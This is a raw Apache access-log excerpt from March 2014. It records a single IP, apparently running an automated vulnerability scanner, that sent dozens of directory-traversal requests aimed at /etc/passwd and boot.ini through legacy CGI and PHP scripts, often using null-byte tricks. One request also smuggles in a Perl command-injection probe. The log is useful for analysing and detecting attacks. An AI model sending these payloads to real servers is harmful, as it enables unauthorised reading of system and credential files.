/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:39 -0400] "GET /cgi-bin/dcforum.cgi?az=list&forum=../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:39 -0400] "GET /cgi-bin/help.cgi?helpon=../../../../../etc/passwd%00 HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:40 -0400] "GET /cgi-bin/helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=../../config/log.conf%00%5c&chapter= HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:40 -0400] "GET /cgi-bin/helpwin.gas.bat?mode=&draw=x&file=x&module=&locale=../../config/applist.conf%00%5c&chapter= HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:41 -0400] "GET /cgi-bin/faqmanager.cgi?toc=../../../../../../../../etc/passwd%00 HTTP/1.1" 404 538 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:41 -0400] "GET /cgi-bin/faqmanager.cgi?toc=../../../../../../winnt/win.ini%00 HTTP/1.1" 404 538 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:42 -0400] "GET /cgi-bin/emumail.cgi?type=/../../../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:43 -0400] "GET /cgi-bin/../../makebook-2.2/bookfile.html HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:43 -0400] "GET /cgi-bin/14all.cgi?cfg=../../etc/passwd HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:43 -0400] "GET /cgi-bin/14all.cgi?cfg=../../../etc/passwd HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:43 -0400] "GET /cgi-bin/14all.cgi?cfg=../../../../etc/passwd HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:23:24 -0400] "GET /scripts/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/ans.pl?p=../../../../../bin/perl${IFS}-e${IFS}'$command=\"system(\"echo,Qualys,cmd,exec,test\")\";$delim=chr(32);$command=~s/,/$delim/g;print(\"$command\")'| HTTP/1.1" 404 530 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/cal_make.pl?p0=../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/cal_make.pl?p0=../../../../../../../../../boot.ini%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/r.cgi?FILE=../../../../../../../../../../etc/passwd HTTP/1.1" 404 529 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/r.pl?FILE=../../../../../../../../../../etc/passwd HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/r.cgi?FILE=../../../../../../../../../../boot.ini HTTP/1.1" 404 529 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/r.pl?FILE=../../../../../../../../../../boot.ini HTTP/1.1" 404 528 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/quickstore.cgi?page=../../../../../../../../etc/passwd%00html&cart_id= HTTP/1.1" 404 538 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:44 -0400] "GET /cgi-bin/quickstore.cgi?page=../../../../../../../../boot.ini%00html&cart_id= HTTP/1.1" 404 538 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:45 -0400] "GET /cgi-bin/apexec.pl?etype=odp&template=../../../../../../../../../etc/passwd%00.html&passurl=/category/ HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/story.pl?next=../../../../../etc/passwd%00 HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/story.pl?next=../../../../../boot.ini%00 HTTP/1.1" 404 532 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/store.cgi?StartID=../../../../../../../../../etc/passwd%00.html HTTP/1.1" 404 533 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/auktion.cgi?menue=../../../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:46 -0400] "GET /cgi-bin/auktion.cgi?menue=../../../../../../../../../boot.ini HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:47 -0400] "GET /cgi-bin/gbrowse?help=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:47 -0400] "GET /cgi-bin/autohtml.php?op=modload&mainfile=x&name=../../../../../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:24:48 -0400] "GET /cgi-bin/directorypro.cgi?want=showcat&show=../../../../../etc/passwd%00 HTTP/1.1" 404 540 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:26:24 -0400] "GET /scripts/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:27:53 -0400] "GET /php-nuke/modules.php?name=Your_Account&op=avatarlist&avatarcategory=../../ HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:28:25 -0400] "GET /scripts/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:29:25 -0400] "GET /scripts/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:30:25 -0400] "GET /scripts/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:31:25 -0400] "GET /scripts/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:34:46 -0400] "GET /scripts/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:35:01 -0400] "GET /php/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:35:46 -0400] "GET /scripts/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:39:02 -0400] "GET /php/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:39:02 -0400] "GET /php/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:37:47 -0400] "GET /scripts/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:38:55 -0400] "GET /pub/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:39:56 -0400] "GET /pub/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:40:47 -0400] "GET /scripts/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:41:03 -0400] "GET /php/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:44:04 -0400] "GET /php/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:44:48 -0400] "GET /scripts/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:46:05 -0400] "GET /php/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:46:15 -0400] "GET /_vti_pvt/bug_sponsorship_list_view_inc.php?t_core_path=../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:47:05 -0400] "GET /php/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:48:05 -0400] "GET /php/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:49:05 -0400] "GET /php/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:49:16 -0400] "GET /_vti_pvt/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:52:26 -0400] "GET /php/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:53:08 -0400] "GET /phpnuke/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:53:26 -0400] "GET /php/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:55:27 -0400] "GET /php/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:57:09 -0400] "GET /phpnuke/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:57:09 -0400] "GET /phpnuke/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:58:27 -0400] "GET /php/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:02:59:10 -0400] "GET /phpnuke/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:02:11 -0400] "GET /phpnuke/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:02:28 -0400] "GET /php/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:02:41 -0400] "GET /phpMyAdmin-2.5.5-pl1/export.php?what=../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:04:11 -0400] "GET /phpnuke/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:05:12 -0400] "GET /phpnuke/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:06:12 -0400] "GET /phpnuke/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:07:12 -0400] "GET /phpnuke/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:07:53 -0400] "GET /mail/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:08:54 -0400] "GET /mail/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:10:34 -0400] "GET /phpnuke/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:11:34 -0400] "GET /phpnuke/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:13:35 -0400] "GET /phpnuke/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:15:04 -0400] "GET /pub/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:16:36 -0400] "GET /phpnuke/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:19:04 -0400] "GET /pub/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:19:04 -0400] "GET /pub/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:20:36 -0400] "GET /phpnuke/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:21:05 -0400] "GET /pub/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:24:06 -0400] "GET /pub/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:26:06 -0400] "GET /pub/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:27:06 -0400] "GET /pub/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:28:07 -0400] "GET /pub/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:29:07 -0400] "GET /pub/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:32:30 -0400] "GET /pub/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:32:31 -0400] "GET /webmail/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:33:30 -0400] "GET /pub/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:33:31 -0400] "GET /webmail/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:35:30 -0400] "GET /pub/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:38:31 -0400] "GET /pub/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:42:32 -0400] "GET /pub/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:44:03 -0400] "GET /mail/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:47:43 -0400] "GET /_vti_pvt/../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:48:05 -0400] "GET /mail/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:48:05 -0400] "GET /mail/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:50:05 -0400] "GET /mail/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:51:08 -0400] "GET /news/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:52:08 -0400] "GET /news/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:53:06 -0400] "GET /mail/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:55:07 -0400] "GET /mail/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:56:07 -0400] "GET /mail/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:57:07 -0400] "GET /mail/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:03:58:07 -0400] "GET /mail/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:01:28 -0400] "GET /mail/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:02:28 -0400] "GET /mail/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:04:29 -0400] "GET /mail/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:07:30 -0400] "GET /mail/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:08:39 -0400] "GET /forum/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:08:40 -0400] "GET /webmail/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:09:39 -0400] "GET /forum/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:12:41 -0400] "GET /webmail/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:12:41 -0400] "GET /webmail/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:11:31 -0400] "GET /mail/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:14:41 -0400] "GET /webmail/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:17:42 -0400] "GET /webmail/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:19:42 -0400] "GET /webmail/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
